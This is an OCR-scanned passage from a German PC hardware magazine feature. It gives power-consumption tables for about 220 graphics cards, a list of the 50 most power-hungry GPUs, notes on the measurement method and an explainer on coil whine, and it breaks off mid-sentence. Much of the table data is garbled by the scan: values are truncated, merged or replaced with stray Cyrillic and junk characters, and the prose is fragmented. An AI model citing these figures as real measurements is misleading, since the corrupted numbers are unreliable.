Asus RX 470 Strix OC 4437 W 4,90 A ‚69V 57,28 W 0,50 A 3,30 V 1,65 W 7,15A 11,95 V 85,44 W - - 
Sapphire RX 570 Pulse ITX 44,37 W 500 A 11,78 V 58,90 W 0,55 A 3,30 V 1,82 W 7,00А 11,95 V 83,65 W - - - 
Asus GTX 960 Strix DC20C-4GD5 42,96 W 5,15А ‚86 V 61,08 W 0,59 A 3,30 V 1,95 W 6,65 A 12,02 V 79,93 W - - 
Gainward GTX 660 Ti Phantom 142,57 W 3,70 A 11,82 V 43,73W 0,88 A 3,27 V 2,88 W 4,60 A 11,92 V 54,83 W 3,45 A 11,92 V 41,12 W 
Palit GTX 660 Ti Jetstream 42,04 W 3,69 A ‚32V 43,62 W 0,90 A 3,27 V 2,94 W 451A 11,92V 53,76W 3,50A 11,92V 4172W 
MSI R9 270 Gaming 2G 139,72 W 6,25 A 1,85 V 74,06 W 147A 3,27V 4,81 W 5,05A 12,05 V 60,85 W - - - 
Gainward GTX 960 Phantom 36,77 W 4,90 A ‚92V 58,41 W 0,55 A зау 1,82 W 6,40 A 11,96 V 76,54 W - - - 
Zotac GTX 660 Ti AMP! 135,22 W 3,83 A ‚32V 45,27 W 0,80 A 3,27V 2,62W 4,00 A 11,91 V 47,64 W 3,33 A 11,92V 39,69 W 
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Leistung über die Stronbuchse(n) 


Leistung über den PEG-Slot 


Leistungsaufnahme-Übersicht inkl. Spulenfiepen | SPECIAL 


Leistung über die Stronbuchse(n) 


Leistung über den PEG-Slot 


Leistungsaufnahme von 220 Grafikkarten - Fortsetzung #3 


nalen Leistung PEG 12-Volt-Leitung PEG 3,3-Volt-Leitung 6-/8-Pin-Leitung 1 6-/8-Pin-Leitung 2 
gesamt | Strom |Spannung | Leistung | Strom |Spannung | Leistung | Strom |Spannung | Leistung | Strom | Spannung | Leistung 

Asus GTX 1060 Strix O6G-9Gbps 131,99 W 460A 11,80 V 54,28 W 0,05A SEN 0,17 W 6,50 A 11,93 V 71,55 W - - - 
KFA2 GTX 960 Gamer 0C 29,74 W 5,10А 11,83 V 60,33 W 0,52 A 3,30 V 1,72 W 5,65 A 11,98 V 67,69W - - - 
Asus GTX 660 DirectCU II ТОР 29,61W 5,40А 11,77V 63,56 W 077A 3,27V 2,52 W 5,33 A 11,92 V 63,53 W - - - 
EVGA GTX 660 Superclocked 27,15 W 485A 11,79 V 57,18 \ 0,67 A 3,27V 2,19W 5,70A 11,89 V 67,77W - - - 
Palit GTX 960 Jetstream 4GB 26,38 W 472A 11,89 V 56,12 W 0,58 A 3,30 V 1,91 W 5,70 A 11,99 ү 68,34 W - - 
VTX3D HD 7850 X-Edition 1GB 25,04 W 5,40А 11,77V 63,56 W 0,80 A 3,27 V 2,62 W 4,93 A 11,94 V 58,86 W - - 
XFX R7 370 DD Black Edition 2GB 23,97 W 5,80 A 11,81 V 68,50 W 0,60 A 3,30 V 1,98 W 4,45 A 12,02 V 53,49 W - - - 
XFX R7 370 Double Dissipation 4GB 123,97 W 5,80 A 11,81V 68,50W 0,60A 3,30V 1,98 W 445A 12,02 V 53,49W - - 
Gainward GTX 1060 Phoenix GS 23,70 W 4,90 A 11,72 V 57,43W 0,15 A 3,31 V 0,50 W 5,50 A 11,96 V 65,78 W - - - 
Sapphire R7 265 Dual-X 123,59 W 3,42 A 11,91V 40,73 W 0,80 A 3,24 V 2,59 W 6,70 A 11,98 V 80,27 W - - - 
Palit GTX 1060 Super Jetstream 22,73W 4,50 A US 52,70 W 0,15А 3,31 V 0,50 W 5,80 A 11,99 V 69,54 W - - - 
KFA2 GTX 1060 3GB ОС 122,01 W 4,40 A 11,84 V 52,10 W 0,20 A 331V 0,66 W 5,80A 11,94 V 69,225 W - - 

EVGA GTX 1060 SC Gaming 121,81 W 4,20 A 11,73 V 49,27 W 0,20 A 331V 0,66 W 6,00A 11,98 V 71,88W 5 - 

Zotac GTX 1060 АМР! 121,04 W 4,25 A 11.72 V 49,81 W 0,20 A 3.31 V 0,66 W 5,90А 11,96 V 70,56 W - - 

Zotac GTX 1060 AMP+ 120,76 W 4,10 A 11,82 V 48,46 W 0,20 A 3,31 V 0,66 W 6,00 A 11,94 V 71,64W - - 

Nvidia GTX 1060 (Referenzdesign) 120,44 W 430A 11,75 V 50,53 W 0,20 A 3,31 V 0,66 W 5,80 A 11,94 V 69,25 W - - 

Gigabyte GTX 950 Xtreme 118,56 W 3,75A 11,89 V 44,59 W 0,58 A 3,30 V 191W 6,00A 12,01V 72,06 W - - - 
MSI N650Ti-TF-2GD5/0C-BE 118,03 W 479A 11,78 V 56,43 W 0,78 A 3,27 V 2,55 W 4,95 A 11,93 V 59,05 W - - - 
Nvidia GTX 660 (Referenzdesign) 117,28 W 4,50А 11,80 V 53,10 W 0,72A 3,27V 2,35 W 5,20 A 11,89 V 61,83 W - - - 
MSI N660GTX Power Edition/OC 115,72 W 4,36 A 11,80 V 51,45 W 0,70 A 3,27 V. 2,29 W 5,20 A 11,92 V 61,98 W - - - 
Sapphire R7 370 Nitro 4GB 115,08 W 2,85 A 11,93 V 34,00 W 0,55 A 3,30 V 1,82 W 6,60 A 12,01 V 79,27 W - - - 
Asus GTX 650 Ti DirectCU II OC 113,61 W 490A 11,77 V 57,67 W 0,77A 3,27V 2,52 W 4,47 A 11,95 V 53,42 W - - - 
AMD R7 260X (Referenzdesign) 112,57 W 3,77A 11,77 V 44,37 W 1,08 A 3,20 V 3,46 W 5,45 A 11,88 V 64,75 W - - - 
Palit GTX 650 Ti Boost OC 110,96 W 464A 11,82V 54,84 W 0,73 A 3,27V 2,39W 4,50 A 11,94 V 53,73 W - - 
Palit GTX 660 ОС 110,16 W 4,32 A 11,80 V 50,98 W 0,66 A 3,27 V 2,16 W 4,80 A 11,88 V 57,02W - - 
Asus R7 260X DC20C 109,31 W 3,60 A 11,90 V 42,84 W 0,73 A 3,26 V 2,38 W 5,35 A 11,98 V 64,09 W - - 
Club 3D HD 7850 Royal King 1GB 109,00 W 2,97А 11,84V 35,16 W 1,64 A 3123 W 5,30W 5,75А 11,92 V 68,54 W - - 
KFA2 GTX 950 Black OC Sniper 108,08 W 4,15 A 11,87 V 49,26 W 0,55 A 3,30 V 1,82 W 475A 12,00 V 57,00 W - - - 
HIS HD 7850 Iceq X Turbo 107,84 W 2,88 A 11,85 V 34,13 W 1,60 A 3,23 V 5,17W 5,75A 11,92 V 68,54 W - - - 
Sapphire HD 7850 ОС 1GB 106,59 W 2,72А 11,85 V 32,23 W 1,58А 3,23 V 5,10 W 5,81А 11,92 V 69,26 W - - - 
Nvidia GTX 650 Ti Boost (Referenzdesign) 105,76 W 4,00 A aM 47,88 W 0,44 A 3,28 V 1,44 W 4,68 A 12,06 V 5644W - - - 
XFX HD 7790 Black Edition 98,69 W 3,12 A 11,86 V 37,00W 0,59 A 3,28 V 1,94 W 5,00 A 11,95 V 59,75 W - - - 
Asus RX 460 Strix 98,31 W 435A 11,86 V 51,59 W 0,35 A 3,31 V 1,16 W 3,80 A 11,99 V 45,56 W - - - 
Sapphire R7 260X ОС 97,34 W 3,05 A 11,93 V 36,39 W 0,66 A 3,26 V 2,15 W 4,90 A 12,00 V 58,80 W - - - 
Sapphire RX 460 Nitro 0C 95,35 W 4,40 A 11,74 V 51,66 W 0,33 A 3,31 V 1,09W 3,55 A 12,00 V 42,60 W - - 
Powercolor HD 7790 Turbo Duo 0C 94,53 W 3,76 A 11,81 V 44,41 W 0,60 A 3/27). 1,96 W 4,03 A 11,95 V 48,16 W - - 
MSI GTX 950 2GD5 ОС 91,27 W 3,80 A 11,89 V 45,18 W 0,50 A 3,30 V 1,65 W 3,70 A 12,01 V 44,44 W - - 
Nvidia GTS 450 (Referenzdesign) 90,25 W 3,80 A 11,96 V 45,45 W 0,31 A 3,29 V 1,02W 3,63 A 12,06 V 43,78 W - - - 
Sapphire HD 7790 0C 89,70 W 2,95 A 11,87 V 35,02 W 1,40 A 3,24 V 4,54 W 4,20 A 11,94 V 50,15 W - - - 
MSI R7790-1GD5/0C 85,68 W 3,52 A 11,82 V 41,61 W 1,39 A 3,24 V 4,50 W 3,32 A 11,92 V 39,57 W - - 

EVGA GTX 650 Ti SSC 83,67 W 151A 11,89V 17,95W 155A 3,24 V 5,02 W 5,10А 11,90 V 60,69 W - - 

Asus GTX 1050 Ti Strix 04G 75,71 W 2,75A 11,92 V 32,78 W 0,10 A 3.32 V 0,33 W 3,55 A 12,00 V 42,60 W - - 

Palit GTX 650 Ti 74,712 W 2,06 A 11,88 V 24,47 W 0,59 A 3,28 V 1,94 W 4,06 A 11,90 V 48,31 W - - 

Nvidia GTX 650 Ti (Referenzdesign) 72,69 W 141A 11,89 V 16,76 W 1,55 A 3,24 V 5,02 W 427A Til ep V 50,90 W - - 

Gainward GTX 750 Ti GS 69,36 W 5,73 A 11,83 V 67,79W 0,48 A 3,27V 1,57W - - - - - - 
Palit GTX 750 Ti Storm X Dual 69,23 W 5,70A 11,83 V 67,43 W 0,55 A 3,27V 1,80 W - - - - 
Gigabyte GTX 1050 Ti G1 Gaming 4G 66,89 W 215А 11,95 V 25,69 W 0,85 A 3.29 V 2,80 W 3,20 A 12,00 V 38,40 W - - - 
Asus GTX 750 OC 66,59 W 550A 11,84V 65,12 W 0,45 A 3,27V 1,47 W - - - - 
Nvidia GTX 750 Ti (Referenzdesign) 63,57 W 4,95А 11,84 V 58,61 W 1,55 A 3,20 V 4,96 W - - - - - - 
EVGA GTX 1050 Ti SC 55,93 W 4,54 A 11,75 V 53,35 W 0,78 A 3,31 V 2,58 W - - - - - - 
Palit GTX 650 OC 55,31 W 1,52 A 11,89 V 18,07 W 0,46 A 3,28 V 1,51 W 3,00 A 11,91V 35,73W - - 
Asus GTX 1050 Expedition 54,68 W 4,60 A 11,85 V 54,51 W 0,05 A 3,32 V 0,17W - - - - - 
Zotac GTX 1050 Ti OC Edition 53,79 W 4,30 A 11,86 V 51,00 W 0,85 A 3,29 V 2,80 W - - - - - 
Asus GT 640/2G3 36,53 W 2,94А 11,99 V 35,25 W 0,39 A 3,28 V 1,28 W - - - - - 
MSI N640GT/OC 32,73 W 2,36 A 12,01 V 28,34 W 1,35 A 3,25 V 4,39 W - - - - - 
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Auswertung: Von Verschwendern und Asketen 


Top 50: Die durstigen Single-GPUs bis heute 


Grafikkarte Watt Fps | Watt/Fps GPU 

SI R9 390X Gaming 8G 401 07 3,75 Grenada XT (Hawaii) 

SI R7970 Lightning BE 396 88 4,50 Tahiti XT2 

SI R9 290X Gaming 8G 384 06 3,62 Hawaii X 
AMD R9 Fury X (Referenzdesign) 383 45 2,64 Fiji XT 
Sapphire R9 Fury Tri-X OC 373 32 2,83 Fiji Pro 
PoV/TGT GTX 580 Ultra Charged 373 51 7,31 Fermi GF110 

SI R9 290X Lightning 360 15 3,13 Hawaii X 
Asus R9 290X DirectCU II OC 360 110 3,27 Hawaii X 
Asus R9 290 DirectCU II OC 354 01 3,50 Hawaii Pro 

51 R9 290X Gaming 351 09 D Hawaii X 
Asus R9 390X Strix DC30C 351 04 3,38 Grenada XT (Hawaii) 
Asus R9 390 Strix DC30C 349 97 3,60 Grenada Pro (Hawaii) 
PoV-TGT GTX 560 Ti Beast 348 42 8,29 Fermi GF104 
Gainward GTX 580 Golden Sample | 348 88 3,96 Fermi GF110 
Gigabyte R9 290X Windforce 3x 346 110 3,15 Hawaii X 
MSI N480GTX Lightning 346 41 8,44 Fermi GF100 
MSI R9 290 Gaming 344 96 3,59 Hawaii Pro 
Palit GTX 570 Sonic Platinum 343 45 7,62 Fermi GF110 
Sapphire R9 280X Toxic 343 93 3,68 Tahiti XT2 
MSI N580GTX Twin Frozr ПОС 340 50 6,80 Fermi GF110 
Asus ENGTX580 DirectCU Il 339 48 7,07 Fermi GF110 
Zotac GTX 580 AMP! 333 50 6,66 Fermi GF110 
Asus Matrix GTX 580 Platinum 332 49 6,77 Fermi GF110 
EVGA GTX 780 Classified ACX 327 109 3,00 Kepler GK110-A1 
Zotac GTX 1080 Ti AMP! Extreme 326 204 1,60 Pascal GP102 
Gigabyte GTX 780 Ti GHz Edition 325 125 2,60 Kepler GK110-B1 
XFX R9 290X Black Edition 325 106 3,07 Hawaii XT 
EVGA GTX 570 Superclocked 323 45 7,18 Fermi GF110 
Sapphire R9 290X Tri-X OC 8GB 322 99 3,25 Hawaii XT 
Gainward GTX 570 Phantom 320 43 7,44 Fermi GF110 
Sapphire R9 390 Nitro 319 95 3,36 Grenada Pro (Hawaii) 
Zotac GTX 570 AMP! 319 44 7,26 Fermi GF110 
Zotac GTX 480 AMP! 319 41 7,18 Fermi GF100 
EVGA GTX 780 Ti Dual Classified 317 115 275 Kepler GK110-B1 
Gigabyte GTX 780 GHz Edition 314 10 2,85 Kepler GK110-B1 
Nvidia GTX 480 (Referenzdesign) 312 40 7,79 Fermi GF100 
MSI N580GTX Lightning 310 27 11,49 Fermi GF110 
Sapphire R9 390X Tri-X OC 310 02 3,04 Grenada XT (Hawaii) 
Asus GTX 780 Ti DirectCU II OC 310 14 2,72 Kepler GK110-B1 
Gigabyte GTX 480 Super 0C 308 47 6,55 Fermi GF100 
Inno 3D GTX 980 Ti Hybrid 305 54 1,98 Maxwell GM200 
EVGA GTX 980 Ti Classified 305 46 2,09 Maxwell GM200 
AMD R9 290X (Referenz) , Uber" 305 04 2,93 Hawaii XT 
VTX3D R9 290 X-Edition V2 304 96 3.17 Hawaii Pro 
Powercolor R9 290X PCS+ 303 100 3,03 Hawaii XT 
Sapphire R9 290 Tri-X 0C 303 97 3,12 Hawaii Pro 
Sapphire Toxic 7970 „Lethal Boost" 301 82 3,67 Tahiti XT2 
MSI GTX 980 Ti Lightning 300 51 1,99 Maxwell GM200 
Gigabyte GTX 980 G1 Gaming 300 08 2,77 Maxwell GM204 
Gigabyte GTX 780 Windforce V2 300 08 2 Kepler GK110-B1 


Basis: PCGH VGA Tool v1.0.1, 1080p, kein AA/AF; PCGH-Messungen mittels Adex PEX16IX 
PCI-Express-Extender und Chauvin Arnoux РОЗ Zangenamperemeter; sortiert nach Watt 
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tatistiker und Datenfetischisten 
kónnen stundenlang in den 
Messwerten abtauchen. Letztere 
sprechen für sich und sind ein 
gutes Nachschlagewerk für die Zu- 
kunft, doch wir móchten ein paar 


erläuternde Worte verlieren. 


Messtoleranz 

Jede Einzelmessung wird von un- 
seren Fachredakteuren nach bes- 
tem Wissen und Gewissen durch- 
geführt. Bevor die Ströme und 
Spannungen in unsere Datenbank 
gelangen, muss jede Grafikkarte 
eine 15-minütige Aufheizperiode 
unter Volllast hinter sich bringen, 
um alle Bauteile durchzuwärmen. 
Das führt zu grundlegend anderen 
Resultaten als (praxisferne) Mes- 
sungen ohne Vorlaufzeit. 


Trotz der gleichen Bedingungen 
pro Grafikkarte gehören die Mess- 
werte nicht auf die Goldwaage, 
wenngleich sie unzählige Plausibili- 
tätstests bestanden haben. Handels- 
übliche Ampere-Zangen sind träger 
als die Schaltungen der Grafikkar- 
ten, welche in Sekundenbruchtei- 
len ihre Taktraten und Spannungen 
anpassen können. Das Messgerät 
zeigt folglich nur eine Momentauf- 
nahme und nie den in Echtzeit an- 
liegenden Strom an - es sei denn, 
der Strom ist konstant, was nur bei 
Grafikkarten der Fall ist, die nicht 
am Powerlimit operieren. 


Ein Beispiel aus der Praxis, wenn 
auch mit erfundenen Zahlen: Wenn 
wir eine Geforce GTX 1080 Ti mit 
Anno 2070 malträtieren, meldet 
die Ampere-Zange Stromstärken 
zwischen 5,8 und 6,5 Ampere auf 
der 6-Pol-Buchse (circa acht Watt 
Differenz). Wir geben in diesen Fäl- 
len weder den Maximalwert (Peak) 
noch den minimalen an, sondern 
einen Mittelwert, den der Redak- 
teur errechnet. Quervergleiche mit 
sündhaft teurem Messequipment 
haben ergeben, dass diese Mittel- 
werte bis auf wenige Prozent ge- 
nau der Realität entsprechen. Exak- 
te Watt-Verläufe, unterteilt auf die 
verschiedenen Rails, können wir 
im Falle einer solchen Annäherung 
natürlich nicht liefern. Das Powerli- 
mit aktueller Geforce-Karten dient 
uns als zweite Verifizierung: Ein 


Modell mit 250 Watt TDP erreicht 
bei unseren Volllast-Messungen 
in der Regel Werte zwischen 245 
und 260 Watt - geben wir Letzteres 
an, „peakt“ die Leistungsaufnahme 
öfter knapp über die TDP als bei 
Modellen, die nicht so knapp am 
Rand des Möglichen gebaut sind. 
All das ist auch der Grund, warum 
wir in der Regel auf Nachkomma- 
stellen hinter der Watt-Angabe ver- 
zichten - das würde eine Präzision 
suggerieren, die wir nicht abbilden 
können. Eine Ausnahme von die- 
ser Regel sind besonders sparsame 
Grafikkarten respektive die Leis- 
tungsaufnahme im Leerlauf; hier 
sind nachkommagenaue Messun- 
gen möglich und sinnvoll. 


PEG-Grillparty: Mitnichten! 
Die Modelle mit der größten Last 
auf dem PEG-Slot haben wir bereits 
vorgestellt. Wie Sie der Tabelle ent- 
nehmen, bleiben die meisten Gra- 
fikkarten deutlich unter den spe- 
zifizierten 5,5 (12 Volt) respektive 
3,0 Ampere (3,3 Volt). Interessant, 
aber logisch ist die Korrelation 
zwischen der PEG-Last und den Ste- 
ckern vom Netzteil: Grafikkarten, 
die über lediglich eine oder gar kei- 
ne Versorgungsbuchse verfügen, 
können gar nicht anders, als viel 
Energie über den Slot zu beziehen 
- dabei vertragen die 12-Volt-Kabel 
und -Stecker deutlich größere Strö- 
me und sind daher bei der Frage, 
was im Ernstfall überlastet werden 
soll, vorzuziehen. 


Spezifikationsgemäß kann ein 
6-Pol-Stecker zusätzliche 75 Watt 
bereitstellen, was 6,25 Ampere ent- 
spricht. Der 8-Pol-Maximalausbau 
liefert hier das Doppelte, 12,5 Am- 
pere sind im grünen Bereich. 30 
der 220 aufgeführten Grafikkarten 
sehen das nicht so eng und belas- 
ten die 8er-Buchse mit 12,6 bis 18,1 
(D Ampere. Letzteres ist wirklich 
bedenklich, passt aber gut zum 
exorbitanten Verbrauch der be- 
treffenden Grafikkarten. Unter den 
Spitzenreitern befinden sich auch 
zwei RX-580-Grafikkarten, die Asus 
Strix T8G und die MSI Gaming X 
8G. Beide verfügen ausschliefslich 
über eine 8-Pol-Buchse und sind 
daher darauf angewiesen, darüber 
ihren Durst zu stillen. 
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Fps, Watt und Watt pro Fps: High-End-Grafikkarten (alt und neu) 


Anno 2070, maximale Details, 3.840 x 2.160 — „Bäm!” (statische Fps vs. gemessene Leistung) 
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Fps (blau) + Watt/Fps (grün) 


System: Adex PEX16IX PCI-Express-Extender und Chauvin Arnoux F03 Zangenamperemeter. Bemerkungen: Gemäß Watt/Fps-Verhältnis sortiert (links die höchste, rechts 
die geringste Effizienz). Die Effizienz der GP102-Karten (die ersten 12) zeigt, dass breite, nicht bis zum Anschlag übertaktete GPUs das beste Fps/Watt-Verhältnis aufweisen. 


Fps, Watt und Watt pro Fps: Mittelklasse-Grafikkarten 


Anno 2070, maximale Details, 2.560 x 1.440 - „Bäm!” (statische Fps vs. gemessene Leistung) 
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Fps (blau) + Watt/Fps (grün) 


System: Adex PEX16IX PCI-Express-Extender und Chauvin Arnoux F03 Zangenamperemeter. Bemerkungen: Gemäß Watt/Fps-Verhältnis sortiert (links die höchste, rechts 
die geringste Effizienz). Die effizienteste Radeon ist die Sapphire RX 570 Pulse ITX, gefolgt von weiteren Polaris-Karten. Die 300er-Modelle fallen deutlich zurück. 
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Die Tabelle offenbart weiterhin 
Modelle, deren Power-Design eine 
Vermeidung des PEG vorsieht. Das 
gilt unter anderem für alle Light- 
ning-Grafikkarten aus dem Hause 
MSI - seit der N680GTX Lightning 
fließen höchstens zehn Watt durch 
den Slot - und auch für die aktuel- 
len 1080-Ti-Modelle Gaming X und 
Armor aus demselben Hause. Eben- 
falls vorsichtig sind alle Fiji-Karten 
(Fury/Nano) mit 15 bis maximal 20 
Watt Gesamtleistung aus dem PEG. 
Wo wir schon bei den einzelnen 
Versorgungslinien sind: Die meiste 
Energie aus der schmalen 3,3-Volt- 
Schiene beziehen die Hawaii-Kar- 
ten Radeon R9 290(X), hier fließen 
oftmals 2,0 bis 2,7 Ampere. 


Entwicklung: Positiv! 

Neben den praxisnahen, weil in 
einem ,echten* Spiel gewonnenen 
Messwerten móchten wir Ihr Au- 
genmerk auf die Tabelle auf Seite 
14 richten. Dort sehen Sie die 50 
stromdurstigsten Grafikkarten, die 
jemals auf dem PCGH-Messstand 
zugegen waren. Und das ist nur 
die Spitze des Eisbergs, denn insge- 
samt haben wir seit 2010 beinahe 
500 Modelle verschiedenster Gene- 
rationen vermessen. 


Beachten Sie, dass das PCGH VGA- 
Tool (kurz VGAT; auf der Heft-DVD) 
als Derivat des berüchtigten Fur- 
mark zur Gattung der Stresstests 
gehórt. Damit sind Applikationen 
gemeint, welche nur einen Zweck 
haben: Hitze zu erzeugen. Darauf 
springen ältere Grafikkarten, etwa 
die zahlreichen Modelle mit Fermi- 
und Hawaii-GPUs, hervorragend 
an, hier versagen die GPU-internen 
Limiter, welche die Stróme begren- 
zen, in fast allen Fällen. Das führt 
zu ungebremster Leistung und 
somit einem GPU-an-GPU-Rennen 
zwischen Nvidias Fermi- und AMDs 
Hawaii-Chips. 


Bei modernen Grafikkarten greifen 
die Schutzmaßnahmen in der Re- 
gel konsequent durch und begren- 
zen die Ströme auf ein Niveau, das 
deutlich tiefer liegt als bei power- 
intensiven Spielen wie Anno 2070, 
The Witcher 3 oder Call of Duty: 
Modern Warfare Remastered. Das 
betrifft vor allem Geforce-Grafik- 
karten mit Pascal-Genen, hier lie- 
gen der VGAT-Verbrauch und somit 
auch die Lautheit unterhalb der 
Werte fordernder Spiele. (rv) 
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Spulenfiepen: Ursachen und GegenmaBnahmen 


estimmt ist es Ihnen schon 
Das bei der Benutzung 
des PCs zu Ohren gekommen: ein 
hochfrequenter, Ton, 
und das direkt aus dem Innern Ih- 
res Rechners! Das sogenannte „Coil 
Whining* „Spulenfiepen‘“, 
das verschiedene Ursachen haben 
kann, beschreibt diesen unange- 
nehmen Ton recht treffend. Meist 


störender 


oder 


ist für dieses Störgeräusch ein elek- 
trisches Bauteil mit einer Spule ver- 
antwortlich. Davon betroffen sind 
nicht nur Grafikkarten, sondern 
auch Netzteile, Mainboards und 
sogar Monitore - manchmal beein- 
flussen sich die Geräte sogar ge- 
genseitig. Aber wie genau kommt 
es überhaupt zum Spulenfiepen? 
Kann man etwas dagegen tun oder 
muss man das so hinnehmen? Wir 
wollen einen Überblick über die 
Ursachen liefern und den einen 


p С — - - 


oder anderen Tipp zur Abhilfe be- 
reitstellen. 


Voll verspult 

Spulen finden in der Elektrotech- 
nik breite Anwendung, zum Bei- 
spiel als Teil eines Transformators, 
als Drossel oder in Form eines LC- 
Schwingkreises. Das Bauelement 
besteht dabei in der Regel aus ei- 
nem magnetisierbaren Kern, der 
mit einem Draht umwickelt wur- 
de - wobei die Wicklungen vonei- 
nander und vom Kern isoliert vor- 
liegen. Durchfliefst nun ein Strom 
die Spule, kónnen hochfrequente 
Wechselstromamplituden oder 


Stórstrahlungen durch die Selbst- 
induktion des gewickelten Drah- 
tes abgeschwächt werden. Hierbei 
handelt es sich um eine sogenann- 
te Drossel, die in Verbindung mit 
Kondensatoren ebendiese 


Stör- 


Hierbei handelt es sich um eine Ringkerndrossel aus einem Schaltnetzteil. Ringkern- 
drosseln werden generell auf Ferrit- oder Pulverringkerne gewickelt. 


Eine andere Form einer Spule ist der Transformator. Rechts wurde das Bauteil geöff- 
net, um so die Spule zeigen zu können. Draht und Kern sind voneinander isoliert. 
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impulse regulieren respektive ab- 
schwächen soll. 


Ein Transformator besteht dage- 
gen aus mindestens zwei Spulen, 
die um einen gemeinsamen Eisen- 
oder Ferritkern gewickelt werden. 
Die nun an der Primärspule ange- 
legte Eingangswechselspanung 
wird in eine Ausgangswechsel- 
spannung gewandelt, die an der 
Sekundärwicklung induziert wird 
und abgegriffen werden kann. Das 
Windungsverhältnis der beiden 
Spulen zueinander entspricht da- 
bei dem Verhältnis von Eingangs- 
zu Ausgangsspannung. Mit diesem 
Prinzip ist es also möglich, kleine- 
re, größere oder gleichbleibende 
Spannungen zu erzeugen. Durch 
die eingangs erwähnte Isolierung 
der Wicklungen liegt eine galvani- 
sche (elektrische) Trennung vor. 
Dies ist notwendig, wenn mehrere 
Stromkreise aufeinander einwir- 
ken sollen, ihre Bezugspotenziale 
aber getrennt bleiben müssen. 


Die Physik hinter dem 
Geschrei 

Es gibt mehrere Ursachen, die eine 
Spule zum Jammern bewegen kön- 
nen, der Hauptgrund sind aber 
„Synchronisationsprobleme“ 
schen den Komponenten. Beson- 
ders von diesem Problem betroffen 
sind oszillierende Systeme, zum 
Beispiel ein LC-Schwingkreis. Diese 
resonanzfähige Schaltung besteht 
aus einer Spule (L), die als Induktor 
fungiert, und einem Kondensator 
(O), der die elektrische Kapazität 
liefert. Anwendung finden solche 
Schwingkreise beispielsweise zur 


zwi- 


Filterung von einzelnen Frequen- 
zen aus einem Signalgemisch. 


Um zu verstehen, warum das Spu- 
lenfiepen besonders in solchen 
Schwingkreisen entsteht, bedarf 
es eines kleinen Exkurses in die 
Physik. Durch das Anlegen einer 
Wechselspannung kann man den 
LC-Schwingkreis zur elektromagne- 
tischen Eigenschwingung anregen, 
bei der periodisch die elektrische 
Feldenergie im Kondensator in ma- 
gnetische Feldenergie in der Spule 
gewandelt wird und vice versa. 
Der geladene Kondensator, besitzt 


ein elektrisches Feld; die Ladung 
im Kondensator möchte sich nun 
ausgleichen und wandert über die 
Spule ab. Dadurch entsteht ein ma- 
gnetisches Feld und das elektrische 
Feld wird durch die schrumpfende 
Ladung gleichzeitig abgebaut. So- 
bald sich die Ladung in den beiden 
Kondensatorplatten ausgeglichen 
hat, verschwindet das elektrische 
Feld ganz. 


Das magnetische Feld saugt nach 
der Lenzschen Regel und der 
Selbstinduktion der Spule wei- 
terhin Elektronen von der einst 
negativ geladenen Platte ab und 
befördert sie durch den Stromkreis 
auf die positiv geladene Platte im 
Kondensator. Sobald der Strom null 
ist, verschwindet das Magnetfeld in 
der Spule, während der Kondensa- 
tor wieder eine Ladung aufweist: 
Es entsteht wieder ein elektrisches 
Feld, jedoch mit umgekehrter Po- 
lung. Die magnetische Feldenergie 
wurde in elektrische Feldenergie 
gewandelt und der Prozess kann 
von Neuem beginnen. 


Diese Koppelung aus elektrischer 
Feldstärke und magnetischer Fluss- 
dichte erzeugt eine elektromagne- 
tische Welle. 


Und warum machen Spulen 
jetzt Geräusche? 

Um die Problematik der Geräusch- 
entwicklung zu verstehen, ist es 
wichtig, die physikalische Erklä- 
rung im Hinterkopf zu behalten. 
Durch diese schnell oszillierenden 
Magnetfelder ist die Spule der Ma- 
gnetostriktion ausgesetzt, wodurch 
Kern und Windungen der Spule 
abwechselnd schrumpfen und ge- 
dehnt werden. Durch diese schnel- 
le materielle „Deformation“ fangen 
Draht und Kern an zu vibrieren. 
Nur wenn die Resonanzwerte der 
einzelnen Materialien auf einan- 
der abgestimmt sind, können diese 
„Synchronisationsprobleme“ elimi- 
niert und damit ein Spulenfiepen 
unterbunden werden. 


Verstärkt tritt diese Störung bei ei- 
ner hohen Auslastung des Geräts 
auf, da die Spule stärker fluktuie- 
renden Magnetfeldern ausgesetzt 
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Die Physik eines Schwingkreises 


Um das Spulenfiepen zu verstehen, muss man zunächst einen Schwingkreis und die Physik dahinter durchschauen. 


I Elektrische Feldenergie 
I 
І 


ist. Sobald qualitativ minderwerti- 
gere Materialien zum Einsatz kom- 
men oder es sich um schlecht ge- 
wickelte Exemplare handelt, ist der 
Effekt der Magnetostriktion natür- 
lich umso größer (und hörbarer). 
Zusätzlich fixieren Netzteilherstel- 
ler die Spulen mit Kleber, um so 
die Eigenresonanz des Bauteils zu 
minimieren oder gar zu vermeiden. 
Manchmal lohnt aber auch ein Re- 
design der Bauteilanordnung: Sitzt 
der PFC-Controller zu nah an einer 
Drosselspule, kann laut Seasonic 
dadurch das Coil Whining erzeugt 
werden. 


Netzteilinduziertes Fiepen 
in der Grafikkarte 

Im Internet kann man einige Fall- 
beispiele lesen, bei denen das Bau- 
teilgejammer an einer Grafikkarte 
erst durch einen Netzteilwechsel 
verschwunden ist. Aber ist das 
überhaupt möglich? 
Netzteil Spulenfiepen in einer Gra- 


Kann ein 


fikkarte induzieren? Um es gleich 
vorwegzunehmen: Ja, es ist móg- 
lich. Laut Cooler Master ist es sogar 
denkbar, dass Grafikkarten Spu- 
lenfiepen bei Netzteilen auslösen. 
Grund dafür ist die Rückkopplung 
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1 1. Der Kondensator (C) 
ist geladen und besitzt 
ein elektrisches Feld 
(E-Feld). 


1 

І 

І 

| 2. Die Ladung versucht 
| sich nun auszuglei- 

| chen und fließt über 
| 

1 

І 

І 

l 


die Spule (L). Dadurch 
entseht ein magnetisches 
Feld (B-Feld) und das 
E-Feld wird allmählich 
abgebaut. 


5. Der Strom erreicht 
null und das B-Feld 
verschwindet. 

6. Im Kondensator ist 
wieder Ladung gespei- 
chert und ein E-Feld 
ensteht, jedoch mit 
umgekehrter Polung. 
7. Die Ladung versucht 
sich wieder auszuglei- 
chen und ein Strom fließt 
wieder durch die Spule. 


der Bauteile zueinander, sodass die 
Spulen in Netzteil und Grafikkarte 
eine Mitschwingung erzeugen. Das 
gleiche Prinzip finden wir auch bei 
einem einfachen Experiment aus 
der frühen Schulzeit: Wird eine 
Stimmgabel angestoßen, beginnt 
diese sofort zu schwingen und ver- 
setzt eine benachbarte Stimmgabel 
ebenfalls in Schwingung. Es liegt 
also an der Frequenz der Eigen- 
schwingung der Bauteile - ist diese 
ähnlich, kommt es zum induzierten 
Fiepen. 


Be Quiet beschäftigt sich mit die- 
ser Problematik schon länger und 
Spulenfiepen nimmt dort in der 
Produktentwicklung einen hohen 
Stellenwert ein. Laut dem techni- 
